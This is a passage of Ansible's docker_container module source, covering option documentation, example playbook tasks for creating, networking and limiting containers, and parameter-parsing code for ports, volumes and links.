to create the container. If an image is not found or pull is true, the image will be pulled from the registry. If no tag is included, C(latest) will be used. - Can also be an image ID. If this is the case, the image is assumed to be available locally. The I(pull) option is ignored for this case. type: str init: description: - Run an init inside the container that forwards signals and reaps processes. - This option requires Docker API >= 1.25. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool version_added: "2.6" interactive: description: - Keep stdin open after a container is launched, even if not attached. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool ipc_mode: description: - Set the IPC mode for the container. - Can be one of C(container:<name|id>) to reuse another container's IPC namespace or C(host) to use the host's IPC namespace within the container. type: str keep_volumes: description: - Retain volumes associated with a removed container. type: bool default: yes kill_signal: description: - Override default signal used to kill a running container. type: str kernel_memory: description: - "Kernel memory limit in format C(<number>[<unit>]). Number is a positive integer. Unit can be C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte). Minimum is C(4M)." - Omitting the unit defaults to bytes. type: str labels: description: - Dictionary of key value pairs. type: dict links: description: - List of name aliases for linked containers in the format C(container_name:alias). - Setting this will force container to be restarted. type: list elements: str log_driver: description: - Specify the logging driver. Docker uses C(json-file) by default. - See L(here,https://docs.docker.com/config/containers/logging/configure/) for possible choices. type: str log_options: description: - Dictionary of options specific to the chosen I(log_driver). - See U(https://docs.docker.com/engine/admin/logging/overview/) for details. type: dict aliases: - log_opt mac_address: description: - Container MAC address (e.g. 92:d0:c6:0a:29:33). type: str memory: description: - "Memory limit in format C(<number>[<unit>]). Number is a positive integer. Unit can be C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - Omitting the unit defaults to bytes. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C("0"). type: str memory_reservation: description: - "Memory soft limit in format C(<number>[<unit>]). Number is a positive integer. Unit can be C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - Omitting the unit defaults to bytes. type: str memory_swap: description: - "Total memory limit (memory + swap) in format C(<number>[<unit>]). Number is a positive integer. Unit can be C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - Omitting the unit defaults to bytes. type: str memory_swappiness: description: - Tune a container's memory swappiness behavior. Accepts an integer between 0 and 100. - If not set, the value will be remain the same if container exists and will be inherited from the host machine if it is (re-)created. type: int mounts: version_added: "2.9" type: list elements: dict description: - Specification for mounts to be added to the container. More powerful alternative to I(volumes). suboptions: target: description: - Path inside the container. type: str required: true source: description: - Mount source (e.g. a volume name or a host path). type: str type: description: - The mount type. - Note that C(npipe) is only supported by Docker for Windows. type: str choices: - bind - npipe - tmpfs - volume default: volume read_only: description: - Whether the mount should be read-only. type: bool consistency: description: - The consistency requirement for the mount. type: str choices: - cached - consistent - default - delegated propagation: description: - Propagation mode. Only valid for the C(bind) type. type: str choices: - private - rprivate - shared - rshared - slave - rslave no_copy: description: - False if the volume should be populated with the data from the target. Only valid for the C(volume) type. - The default value is C(false). type: bool labels: description: - User-defined name and labels for the volume. Only valid for the C(volume) type. type: dict volume_driver: description: - Specify the volume driver. Only valid for the C(volume) type. - See L(here,https://docs.docker.com/storage/volumes/#use-a-volume-driver) for details. type: str volume_options: description: - Dictionary of options specific to the chosen volume_driver. See L(here,https://docs.docker.com/storage/volumes/#use-a-volume-driver) for details. type: dict tmpfs_size: description: - "The size for the tmpfs mount in bytes in format <number>[<unit>]." - "Number is a positive integer. Unit can be one of C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - "Omitting the unit defaults to bytes." type: str tmpfs_mode: description: - The permission mode for the tmpfs mount. type: str name: description: - Assign a name to a new container or match an existing container. - When identifying an existing container name may be a name or a long or short container ID. type: str required: yes network_mode: description: - Connect the container to a network. Choices are C(bridge), C(host), C(none), C(container:<name|id>), C(<network_name>) or C(default). - "*Note* that from Ansible 2.14 on, if I(networks_cli_compatible) is C(true) and I(networks) contains at least one network, the default value for I(network_mode) will be the name of the first network in the I(networks) list. You can prevent this by explicitly specifying a value for I(network_mode), like the default value C(default) which will be used by Docker if I(network_mode) is not specified." type: str userns_mode: description: - Set the user namespace mode for the container. Currently, the only valid value are C(host) and the empty string. type: str version_added: "2.5" networks: description: - List of networks the container belongs to. - For examples of the data structure and usage see EXAMPLES below. - To remove a container from one or more networks, use the I(purge_networks) option. - Note that as opposed to C(docker run ...), M(docker_container) does not remove the default network if I(networks) is specified. You need to explicitly use I(purge_networks) to enforce the removal of the default network (and all other networks not explicitly mentioned in I(networks)). Alternatively, use the I(networks_cli_compatible) option, which will be enabled by default from Ansible 2.12 on. type: list elements: dict suboptions: name: description: - The network's name. type: str required: yes ipv4_address: description: - The container's IPv4 address in this network. type: str ipv6_address: description: - The container's IPv6 address in this network. type: str links: description: - A list of containers to link to. type: list elements: str aliases: description: - List of aliases for this container in this network. These names can be used in the network to reach this container. type: list elements: str version_added: "2.2" networks_cli_compatible: description: - "When networks are provided to the module via the I(networks) option, the module behaves differently than C(docker run --network): C(docker run --network other) will create a container with network C(other) attached, but the default network not attached. This module with I(networks: {name: other}) will create a container with both C(default) and C(other) attached. If I(purge_networks) is set to C(yes), the C(default) network will be removed afterwards." - "If I(networks_cli_compatible) is set to C(yes), this module will behave as C(docker run --network) and will *not* add the default network if I(networks) is specified. If I(networks) is not specified, the default network will be attached." - "*Note* that docker CLI also sets I(network_mode) to the name of the first network added if C(--network) is specified. For more compatibility with docker CLI, you explicitly have to set I(network_mode) to the name of the first network you're adding. This behavior will change for Ansible 2.14: then I(network_mode) will automatically be set to the first network name in I(networks) if I(network_mode) is not specified, I(networks) has at least one entry and I(networks_cli_compatible) is C(true)." - Current value is C(no). A new default of C(yes) will be set in Ansible 2.12. type: bool version_added: "2.8" oom_killer: description: - Whether or not to disable OOM Killer for the container. type: bool oom_score_adj: description: - An integer value containing the score given to the container in order to tune OOM killer preferences. type: int version_added: "2.2" output_logs: description: - If set to true, output of the container command will be printed. - Only effective when I(log_driver) is set to C(json-file) or C(journald). type: bool default: no version_added: "2.7" paused: description: - Use with the started state to pause running processes inside the container. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool pid_mode: description: - Set the PID namespace mode for the container. - Note that Docker SDK for Python < 2.0 only supports C(host). Newer versions of the Docker SDK for Python (docker) allow all values supported by the Docker daemon. type: str pids_limit: description: - Set PIDs limit for the container. It accepts an integer value. - Set C(-1) for unlimited PIDs. type: int version_added: "2.8" privileged: description: - Give extended privileges to the container. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool published_ports: description: - List of ports to publish from the container to the host. - "Use docker CLI syntax: C(8000), C(9000:8000), or C(0.0.0.0:9000:8000), where 8000 is a container port, 9000 is a host port, and 0.0.0.0 is a host interface." - Port ranges can be used for source and destination ports. If two ranges with different lengths are specified, the shorter range will be used. - "Bind addresses must be either IPv4 or IPv6 addresses. Hostnames are *not* allowed. This is different from the C(docker) command line utility. Use the L(dig lookup,../lookup/dig.html) to resolve hostnames." - A value of C(all) will publish all exposed container ports to random host ports, ignoring any other mappings. - If I(networks) parameter is provided, will inspect each network to see if there exists a bridge network with optional parameter C(com.docker.network.bridge.host_binding_ipv4). If such a network is found, then published ports where no host IP address is specified will be bound to the host IP pointed to by C(com.docker.network.bridge.host_binding_ipv4). Note that the first bridge network with a C(com.docker.network.bridge.host_binding_ipv4) value encountered in the list of I(networks) is the one that will be used. type: list elements: str aliases: - ports pull: description: - If true, always pull the latest version of an image. Otherwise, will only pull an image when missing. - "*Note:* images are only pulled when specified by name. If the image is specified as a image ID (hash), it cannot be pulled." type: bool default: no purge_networks: description: - Remove the container from ALL networks not included in I(networks) parameter. - Any default networks such as C(bridge), if not found in I(networks), will be removed as well. type: bool default: no version_added: "2.2" read_only: description: - Mount the container's root file system as read-only. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool recreate: description: - Use with present and started states to force the re-creation of an existing container. type: bool default: no restart: description: - Use with started state to force a matching container to be stopped and restarted. type: bool default: no restart_policy: description: - Container restart policy. - Place quotes around C(no) option. type: str choices: - 'no' - 'on-failure' - 'always' - 'unless-stopped' restart_retries: description: - Use with restart policy to control maximum number of restart attempts. type: int runtime: description: - Runtime to use for the container. type: str version_added: "2.8" shm_size: description: - "Size of C(/dev/shm) in format C(<number>[<unit>]). Number is positive integer. Unit can be C(B) (byte), C(K) (kibibyte, 1024B), C(M) (mebibyte), C(G) (gibibyte), C(T) (tebibyte), or C(P) (pebibyte)." - Omitting the unit defaults to bytes. If you omit the size entirely, Docker daemon uses C(64M). type: str security_opts: description: - List of security options in the form of C("label:user:User"). type: list elements: str state: description: - 'C(absent) - A container matching the specified name will be stopped and removed. Use I(force_kill) to kill the container rather than stopping it. Use I(keep_volumes) to retain volumes associated with the removed container.' - 'C(present) - Asserts the existence of a container matching the name and any provided configuration parameters. If no container matches the name, a container will be created. If a container matches the name but the provided configuration does not match, the container will be updated, if it can be. If it cannot be updated, it will be removed and re-created with the requested config.' - 'C(started) - Asserts that the container is first C(present), and then if the container is not running moves it to a running state. Use I(restart) to force a matching container to be stopped and restarted.' - 'C(stopped) - Asserts that the container is first C(present), and then if the container is running moves it to a stopped state.' - To control what will be taken into account when comparing configuration, see the I(comparisons) option. To avoid that the image version will be taken into account, you can also use the I(ignore_image) option. - Use the I(recreate) option to always force re-creation of a matching container, even if it is running. - If the container should be killed instead of stopped in case it needs to be stopped for recreation, or because I(state) is C(stopped), please use the I(force_kill) option. Use I(keep_volumes) to retain volumes associated with a removed container. - Use I(keep_volumes) to retain volumes associated with a removed container. type: str default: started choices: - absent - present - stopped - started stop_signal: description: - Override default signal used to stop the container. type: str stop_timeout: description: - Number of seconds to wait for the container to stop before sending C(SIGKILL). When the container is created by this module, its C(StopTimeout) configuration will be set to this value. - When the container is stopped, will be used as a timeout for stopping the container. In case the container has a custom C(StopTimeout) configuration, the behavior depends on the version of the docker daemon. New versions of the docker daemon will always use the container's configured C(StopTimeout) value if it has been configured. type: int trust_image_content: description: - If C(yes), skip image verification. - The option has never been used by the module. It will be removed in Ansible 2.14. type: bool default: no tmpfs: description: - Mount a tmpfs directory. type: list elements: str version_added: 2.4 tty: description: - Allocate a pseudo-TTY. - If I(container_default_behavior) is set to C(compatiblity) (the default value), this option has a default of C(no). type: bool ulimits: description: - "List of ulimit options. A ulimit is specified as C(nofile:262144:262144)." type: list elements: str sysctls: description: - Dictionary of key,value pairs. type: dict version_added: 2.4 user: description: - Sets the username or UID used and optionally the groupname or GID for the specified command. - "Can be of the forms C(user), C(user:group), C(uid), C(uid:gid), C(user:gid) or C(uid:group)." type: str uts: description: - Set the UTS namespace mode for the container. type: str volumes: description: - List of volumes to mount within the container. - "Use docker CLI-style syntax: C(/host:/container[:mode])" - "Mount modes can be a comma-separated list of various modes such as C(ro), C(rw), C(consistent), C(delegated), C(cached), C(rprivate), C(private), C(rshared), C(shared), C(rslave), C(slave), and C(nocopy). Note that the docker daemon might not support all modes and combinations of such modes." - SELinux hosts can additionally use C(z) or C(Z) to use a shared or private label for the volume. - "Note that Ansible 2.7 and earlier only supported one mode, which had to be one of C(ro), C(rw), C(z), and C(Z)." type: list elements: str volume_driver: description: - The container volume driver. type: str volumes_from: description: - List of container names or IDs to get volumes from. type: list elements: str working_dir: description: - Path to the working directory. type: str version_added: "2.4" extends_documentation_fragment: - docker - docker.docker_py_1_documentation author: - "Cove Schneider (@cove)" - "Joshua Conner (@joshuaconner)" - "Pavel Antonov (@softzilla)" - "Thomas Steinbach (@ThomasSteinbach)" - "Philippe Jandot (@zfil)" - "Daan Oosterveld (@dusdanig)" - "Chris Houseknecht (@chouseknecht)" - "Kassian Sun (@kassiansun)" - "Felix Fontein (@felixfontein)" requirements: - "L(Docker SDK for Python,https://docker-py.readthedocs.io/en/stable/) >= 1.8.0 (use L(docker-py,https://pypi.org/project/docker-py/) for Python 2.6)" - "Docker API >= 1.20" ''' EXAMPLES = ''' - name: Create a data container docker_container: name: mydata image: busybox volumes: - /data - name: Re-create a redis container docker_container: name: myredis image: redis command: redis-server --appendonly yes state: present recreate: yes exposed_ports: - 6379 volumes_from: - mydata - name: Restart a container docker_container: name: myapplication image: someuser/appimage state: started restart: yes links: - "myredis:aliasedredis" devices: - "/dev/sda:/dev/xvda:rwm" ports: - "8080:9000" - "127.0.0.1:8081:9001/udp" env: SECRET_KEY: "ssssh" # Values which might be parsed as numbers, booleans or other types by the YAML parser need to be quoted BOOLEAN_KEY: "yes" - name: Container present docker_container: name: mycontainer state: present image: ubuntu:14.04 command: sleep infinity - name: Stop a container docker_container: name: mycontainer state: stopped - name: Start 4 load-balanced containers docker_container: name: "container{{ item }}" recreate: yes image: someuser/anotherappimage command: sleep 1d with_sequence: count=4 - name: remove container docker_container: name: ohno state: absent - name: Syslogging output docker_container: name: myservice image: busybox log_driver: syslog log_options: syslog-address: tcp://my-syslog-server:514 syslog-facility: daemon # NOTE: in Docker 1.13+ the "syslog-tag" option was renamed to "tag" for # older docker installs, use "syslog-tag" instead tag: myservice - name: Create db container and connect to network docker_container: name: db_test image: "postgres:latest" networks: - name: "{{ docker_network_name }}" - name: Start container, connect to network and link docker_container: name: sleeper image: ubuntu:14.04 networks: - name: TestingNet ipv4_address: "172.1.1.100" aliases: - sleepyzz links: - db_test:db - name: TestingNet2 - name: Start a container with a command docker_container: name: sleepy image: ubuntu:14.04 command: ["sleep", "infinity"] - name: Add container to networks docker_container: name: sleepy networks: - name: TestingNet ipv4_address: 172.1.1.18 links: - sleeper - name: TestingNet2 ipv4_address: 172.1.10.20 - name: Update network with aliases docker_container: name: sleepy networks: - name: TestingNet aliases: - sleepyz - zzzz - name: Remove container from one network docker_container: name: sleepy networks: - name: TestingNet2 purge_networks: yes - name: Remove container from all networks docker_container: name: sleepy purge_networks: yes - name: Start a container and use an env file docker_container: name: agent image: jenkinsci/ssh-slave env_file: /var/tmp/jenkins/agent.env - name: Create a container with limited capabilities docker_container: name: sleepy image: ubuntu:16.04 command: sleep infinity capabilities: - sys_time cap_drop: - all - name: Finer container restart/update control docker_container: name: test image: ubuntu:18.04 env: arg1: "true" arg2: "whatever" volumes: - /tmp:/tmp comparisons: image: ignore # don't restart containers with older versions of the image env: strict # we want precisely this environment volumes: allow_more_present # if there are more volumes, that's ok, as long as `/tmp:/tmp` is there - name: Finer container restart/update control II docker_container: name: test image: ubuntu:18.04 env: arg1: "true" arg2: "whatever" comparisons: '*': ignore # by default, ignore *all* options (including image) env: strict # except for environment variables; there, we want to be strict - name: Start container with healthstatus docker_container: name: nginx-proxy image: nginx:1.13 state: started healthcheck: # Check if nginx server is healthy by curl'ing the server. # If this fails or timeouts, the healthcheck fails. test: ["CMD", "curl", "--fail", "http://nginx.host.com"] interval: 1m30s timeout: 10s retries: 3 start_period: 30s - name: Remove healthcheck from container docker_container: name: nginx-proxy image: nginx:1.13 state: started healthcheck: # The "NONE" check needs to be specified test: ["NONE"] - name: start container with block device read limit docker_container: name: test image: ubuntu:18.04 state: started device_read_bps: # Limit read rate for /dev/sda to 20 mebibytes per second - path: /dev/sda rate: 20M device_read_iops: # Limit read rate for /dev/sdb to 300 IO per second - path: /dev/sdb rate: 300 ''' RETURN = ''' container: description: - Facts representing the current state of the container. Matches the docker inspection output. - Note that facts are part of the registered vars since Ansible 2.8. For compatibility reasons, the facts are also accessible directly as C(docker_container). Note that the returned fact will be removed in Ansible 2.12. - Before 2.3 this was C(ansible_docker_container) but was renamed in 2.3 to C(docker_container) due to conflicts with the connection plugin. - Empty if I(state) is C(absent) - If I(detached) is C(false), will include C(Output) attribute containing any output from container run. returned: always type: dict sample: '{ "AppArmorProfile": "", "Args": [], "Config": { "AttachStderr": false, "AttachStdin": false, "AttachStdout": false, "Cmd": [ "/usr/bin/supervisord" ], "Domainname": "", "Entrypoint": null, "Env": [ "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ], "ExposedPorts": { "443/tcp": {}, "80/tcp": {} }, "Hostname": "8e47bf643eb9", "Image": "lnmp_nginx:v1", "Labels": {}, "OnBuild": null, "OpenStdin": false, "StdinOnce": false, "Tty": false, "User": "", "Volumes": { "/tmp/lnmp/nginx-sites/logs/": {} }, ... }' ''' import os import re import shlex import traceback from distutils.version import LooseVersion from ansible.module_utils.common.text.formatters import human_to_bytes from ansible.module_utils.docker.common import ( AnsibleDockerClient, DifferenceTracker, DockerBaseClass, compare_generic, is_image_name_id, sanitize_result, clean_dict_booleans_for_docker_api, omit_none_from_dict, parse_healthcheck, DOCKER_COMMON_ARGS, RequestException, ) from ansible.module_utils.six import string_types try: from docker import utils from ansible.module_utils.docker.common import docker_version if LooseVersion(docker_version) >= LooseVersion('1.10.0'): from docker.types import Ulimit, LogConfig from docker import types as docker_types else: from docker.utils.types import Ulimit, LogConfig from docker.errors import DockerException, APIError, NotFound except Exception: # missing Docker SDK for Python handled in ansible.module_utils.docker.common pass REQUIRES_CONVERSION_TO_BYTES = [ 'kernel_memory', 'memory', 'memory_reservation', 'memory_swap', 'shm_size' ] def is_volume_permissions(mode): for part in mode.split(','): if part not in ('rw', 'ro', 'z', 'Z', 'consistent', 'delegated', 'cached', 'rprivate', 'private', 'rshared', 'shared', 'rslave', 'slave', 'nocopy'): return False return True def parse_port_range(range_or_port, client): ''' Parses a string containing either a single port or a range of ports. Returns a list of integers for each port in the list. ''' if '-' in range_or_port: try: start, end = [int(port) for port in range_or_port.split('-')] except Exception: client.fail('Invalid port range: "{0}"'.format(range_or_port)) if end < start: client.fail('Invalid port range: "{0}"'.format(range_or_port)) return list(range(start, end + 1)) else: try: return [int(range_or_port)] except Exception: client.fail('Invalid port: "{0}"'.format(range_or_port)) def split_colon_ipv6(text, client): ''' Split string by ':', while keeping IPv6 addresses in square brackets in one component. ''' if '[' not in text: return text.split(':') start = 0 result = [] while start < len(text): i = text.find('[', start) if i < 0: result.extend(text[start:].split(':')) break j = text.find(']', i) if j < 0: client.fail('Cannot find closing "]" in input "{0}" for opening "[" at index {1}!'.format(text, i + 1)) result.extend(text[start:i].split(':')) k = text.find(':', j) if k < 0: result[-1] += text[i:] start = len(text) else: result[-1] += text[i:k] if k == len(text): result.append('') break start = k + 1 return result class TaskParameters(DockerBaseClass): ''' Access and parse module parameters ''' def __init__(self, client): super(TaskParameters, self).__init__() self.client = client self.auto_remove = None self.blkio_weight = None self.capabilities = None self.cap_drop = None self.cleanup = None self.command = None self.cpu_period = None self.cpu_quota = None self.cpus = None self.cpuset_cpus = None self.cpuset_mems = None self.cpu_shares = None self.detach = None self.debug = None self.devices = None self.device_read_bps = None self.device_write_bps = None self.device_read_iops = None self.device_write_iops = None self.dns_servers = None self.dns_opts = None self.dns_search_domains = None self.domainname = None self.env = None self.env_file = None self.entrypoint = None self.etc_hosts = None self.exposed_ports = None self.force_kill = None self.groups = None self.healthcheck = None self.hostname = None self.ignore_image = None self.image = None self.init = None self.interactive = None self.ipc_mode = None self.keep_volumes = None self.kernel_memory = None self.kill_signal = None self.labels = None self.links = None self.log_driver = None self.output_logs = None self.log_options = None self.mac_address = None self.memory = None self.memory_reservation = None self.memory_swap = None self.memory_swappiness = None self.mounts = None self.name = None self.network_mode = None self.userns_mode = None self.networks = None self.networks_cli_compatible = None self.oom_killer = None self.oom_score_adj = None self.paused = None self.pid_mode = None self.pids_limit = None self.privileged = None self.purge_networks = None self.pull = None self.read_only = None self.recreate = None self.restart = None self.restart_retries = None self.restart_policy = None self.runtime = None self.shm_size = None self.security_opts = None self.state = None self.stop_signal = None self.stop_timeout = None self.tmpfs = None self.trust_image_content = None self.tty = None self.user = None self.uts = None self.volumes = None self.volume_binds = dict() self.volumes_from = None self.volume_driver = None self.working_dir = None for key, value in client.module.params.items(): setattr(self, key, value) self.comparisons = client.comparisons # If state is 'absent', parameters do not have to be parsed or interpreted. # Only the container's name is needed. if self.state == 'absent': return if self.cpus is not None: self.cpus = int(round(self.cpus * 1E9)) if self.groups: # In case integers are passed as groups, we need to convert them to # strings as docker internally treats them as strings. self.groups = [str(g) for g in self.groups] for param_name in REQUIRES_CONVERSION_TO_BYTES: if client.module.params.get(param_name): try: setattr(self, param_name, human_to_bytes(client.module.params.get(param_name))) except ValueError as exc: self.fail("Failed to convert %s to bytes: %s" % (param_name, exc)) self.publish_all_ports = False self.published_ports = self._parse_publish_ports() if self.published_ports in ('all', 'ALL'): self.publish_all_ports = True self.published_ports = None self.ports = self._parse_exposed_ports(self.published_ports) self.log("expose ports:") self.log(self.ports, pretty_print=True) self.links = self._parse_links(self.links) if self.volumes: self.volumes = self._expand_host_paths() self.tmpfs = self._parse_tmpfs() self.env = self._get_environment() self.ulimits = self._parse_ulimits() self.sysctls = self._parse_sysctls() self.log_config = self._parse_log_config() try: self.healthcheck, self.disable_healthcheck = parse_healthcheck(self.healthcheck) except ValueError as e: self.fail(str(e)) self.exp_links = None self.volume_binds = self._get_volume_binds(self.volumes) self.pid_mode = self._replace_container_names(self.pid_mode) self.ipc_mode = self._replace_container_names(self.ipc_mode) self.network_mode = self._replace_container_names(self.network_mode) self.log("volumes:") self.log(self.volumes, pretty_print=True) self.log("volume binds:") self.log(self.volume_binds, pretty_print=True) if self.networks: for network in self.networks: network['id'] = self._get_network_id(network['name']) if not network['id']: self.fail("Parameter error: network named %s could not be found. Does it exist?" % network['name']) if network.get('links'): network['links'] = self._parse_links(network['links']) if self.mac_address: # Ensure the MAC address uses colons instead of hyphens for later comparison self.mac_address = self.mac_address.replace('-', ':') if self.entrypoint: # convert from list to str. self.entrypoint = ' '.join([str(x) for x in self.entrypoint]) if self.command: # convert from list to str if isinstance(self.command, list): self.command = ' '.join([str(x) for x in self.command]) self.mounts_opt, self.expected_mounts = self._process_mounts() self._check_mount_target_collisions() for param_name in ["device_read_bps", "device_write_bps"]: if client.module.params.get(param_name): self._process_rate_bps(option=param_name) for param_name in ["device_read_iops", "device_write_iops"]: if client.module.params.get(param_name): self._process_rate_iops(option=param_name) def fail(self, msg): self.client.fail(msg) @property def update_parameters(self): ''' Returns parameters used to update a container ''' update_parameters = dict( blkio_weight='blkio_weight', cpu_period='cpu_period', cpu_quota='cpu_quota', cpu_shares='cpu_shares', cpuset_cpus='cpuset_cpus', cpuset_mems='cpuset_mems', mem_limit='memory', mem_reservation='memory_reservation', memswap_limit='memory_swap', kernel_memory='kernel_memory', ) result = dict() for key, value in update_parameters.items(): if getattr(self, value, None) is not None: if self.client.option_minimal_versions[value]['supported']: result[key] = getattr(self, value) return result @property def create_parameters(self): ''' Returns parameters used to create a container ''' create_params = dict( command='command', domainname='domainname', hostname='hostname', user='user', detach='detach', stdin_open='interactive', tty='tty', ports='ports', environment='env', name='name', entrypoint='entrypoint', mac_address='mac_address', labels='labels', stop_signal='stop_signal', working_dir='working_dir', stop_timeout='stop_timeout', healthcheck='healthcheck', ) if self.client.docker_py_version < LooseVersion('3.0'): # cpu_shares and volume_driver moved to create_host_config in > 3 create_params['cpu_shares'] = 'cpu_shares' create_params['volume_driver'] = 'volume_driver' result = dict( host_config=self._host_config(), volumes=self._get_mounts(), ) for key, value in create_params.items(): if getattr(self, value, None) is not None: if self.client.option_minimal_versions[value]['supported']: result[key] = getattr(self, value) if self.networks_cli_compatible and self.networks: network = self.networks[0] params = dict() for para in ('ipv4_address', 'ipv6_address', 'links', 'aliases'): if network.get(para): params[para] = network[para] network_config = dict() network_config[network['name']] = self.client.create_endpoint_config(**params) result['networking_config'] = self.client.create_networking_config(network_config) return result def _expand_host_paths(self): new_vols = [] for vol in self.volumes: if ':' in vol: if len(vol.split(':')) == 3: host, container, mode = vol.split(':') if not is_volume_permissions(mode): self.fail('Found invalid volumes mode: {0}'.format(mode)) if re.match(r'[.~]', host): host = os.path.abspath(os.path.expanduser(host)) new_vols.append("%s:%s:%s" % (host, container, mode)) continue elif len(vol.split(':')) == 2: parts = vol.split(':') if not is_volume_permissions(parts[1]) and re.match(r'[.~]', parts[0]): host = os.path.abspath(os.path.expanduser(parts[0])) new_vols.append("%s:%s:rw" % (host, parts[1])) continue new_vols.append(vol) return new_vols def _get_mounts(self): ''' Return a list of container mounts. :return: ''' result = [] if self.volumes: for vol in self.volumes: if ':' in vol: if len(vol.split(':')) == 3: dummy, container, dummy = vol.split(':') result.append(container) continue if len(vol.split(':')) == 2: parts = vol.split(':') if not is_volume_permissions(parts[1]): result.append(parts[1]) continue result.append(vol) self.log("mounts:") self.log(result, pretty_print=True) return result def _host_config(self): ''' Returns parameters used to create a HostConfig object ''' host_config_params = dict( port_bindings='published_ports', publish_all_ports='publish_all_ports', links='links', privileged='privileged', dns='dns_servers', dns_opt='dns_opts', dns_search='dns_search_domains', binds='volume_binds', volumes_from='volumes_from', network_mode='network_mode', userns_mode='userns_mode', cap_add='capabilities', cap_drop='cap_drop', extra_hosts='etc_hosts', read_only='read_only', ipc_mode='ipc_mode', security_opt='security_opts', ulimits='ulimits', sysctls='sysctls', log_config='log_config', mem_limit='memory', memswap_limit='memory_swap', mem_swappiness='memory_swappiness', oom_score_adj='oom_score_adj', oom_kill_disable='oom_killer', shm_size='shm_size', group_add='groups', devices='devices', pid_mode='pid_mode', tmpfs='tmpfs', init='init', uts_mode='uts', runtime='runtime', auto_remove='auto_remove', device_read_bps='device_read_bps', device_write_bps='device_write_bps', device_read_iops='device_read_iops', device_write_iops='device_write_iops', pids_limit='pids_limit', mounts='mounts', nano_cpus='cpus', ) if self.client.docker_py_version >= LooseVersion('1.9') and self.client.docker_api_version >= LooseVersion('1.22'): # blkio_weight can always be updated, but can only be set on creation # when Docker SDK for Python and Docker API are new enough host_config_params['blkio_weight'] = 'blkio_weight' if self.client.docker_py_version >= LooseVersion('3.0'): # cpu_shares and volume_driver moved to create_host_config in > 3 host_config_params['cpu_shares'] = 'cpu_shares' host_config_params['volume_driver'] = 'volume_driver' params = dict() for key, value in host_config_params.items(): if getattr(self, value, None) is not None: if self.client.option_minimal_versions[value]['supported']: params[key] = getattr(self, value) if self.restart_policy: params['restart_policy'] = dict(Name=self.restart_policy, MaximumRetryCount=self.restart_retries) if 'mounts' in params: params['mounts'] = self.mounts_opt return self.client.create_host_config(**params) @property def default_host_ip(self): ip = '0.0.0.0' if not self.networks: return ip for net in self.networks: if net.get('name'): try: network = self.client.inspect_network(net['name']) if network.get('Driver') == 'bridge' and \ network.get('Options', {}).get('com.docker.network.bridge.host_binding_ipv4'): ip = network['Options']['com.docker.network.bridge.host_binding_ipv4'] break except NotFound as nfe: self.client.fail( "Cannot inspect the network '{0}' to determine the default IP: {1}".format(net['name'], nfe), exception=traceback.format_exc() ) return ip def _parse_publish_ports(self): ''' Parse ports from docker CLI syntax ''' if self.published_ports is None: return None if 'all' in self.published_ports: return 'all' default_ip = self.default_host_ip binds = {} for port in self.published_ports: parts = split_colon_ipv6(str(port), self.client) container_port = parts[-1] protocol = '' if '/' in container_port: container_port, protocol = parts[-1].split('/') container_ports = parse_port_range(container_port, self.client) p_len = len(parts) if p_len == 1: port_binds = len(container_ports) * [(default_ip,)] elif p_len == 2: port_binds = [(default_ip, port) for port in parse_port_range(parts[0], self.client)] elif p_len == 3: # We only allow IPv4 and IPv6 addresses for the bind address ipaddr = parts[0] if not re.match(r'^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$', parts[0]) and not re.match(r'^\[[0-9a-fA-F:]+\]$', ipaddr): self.fail(('Bind addresses for published ports must be IPv4 or IPv6 addresses, not hostnames. ' 'Use the dig lookup to resolve hostnames. (Found hostname: {0})').format(ipaddr)) if re.match(r'^\[[0-9a-fA-F:]+\]$', ipaddr): ipaddr = ipaddr[1:-1] if parts[1]: port_binds = [(ipaddr, port) for port in parse_port_range(parts[1], self.client)] else: port_binds = len(container_ports) * [(ipaddr,)] for bind, container_port in zip(port_binds, container_ports): idx = '{0}/{1}'.format(container_port, protocol) if protocol else container_port if idx in binds: old_bind = binds[idx] if isinstance(old_bind, list): old_bind.append(bind) else: binds[idx] = [old_bind, bind] else: binds[idx] = bind return binds def _get_volume_binds(self, volumes): ''' Extract host bindings, if any, from list of volume mapping strings. :return: dictionary of bind mappings ''' result = dict() if volumes: for vol in volumes: host = None if ':' in vol: parts = vol.split(':') if len(parts) == 3: host, container, mode = parts if not is_volume_permissions(mode): self.fail('Found invalid volumes mode: {0}'.format(mode)) elif len(parts) == 2: if not is_volume_permissions(parts[1]): host, container, mode = (vol.split(':') + ['rw']) if host is not None: result[host] = dict( bind=container, mode=mode ) return result def _parse_exposed_ports(self, published_ports): ''' Parse exposed ports from docker CLI-style ports syntax. ''' exposed = [] if self.exposed_ports: for port in self.exposed_ports: port = str(port).strip() protocol = 'tcp' match = re.search(r'(/.+$)', port) if match: protocol = match.group(1).replace('/', '') port = re.sub(r'/.+$', '', port) exposed.append((port, protocol)) if published_ports: # Any published port should also be exposed for publish_port in published_ports: match = False if isinstance(publish_port, string_types) and '/' in publish_port: port, protocol = publish_port.split('/') port = int(port) else: protocol = 'tcp' port = int(publish_port) for exposed_port in exposed: if exposed_port[1] != protocol: continue if isinstance(exposed_port[0], string_types) and '-' in exposed_port[0]: start_port, end_port = exposed_port[0].split('-') if int(start_port) <= port <= int(end_port): match = True elif exposed_port[0] == port: match = True if not match: exposed.append((port, protocol)) return exposed @staticmethod def _parse_links(links): ''' Turn links into a dictionary ''' if links is None: return None result = [] for link in links: parsed_link = link.split(':', 1) if len(parsed_link) == 2: 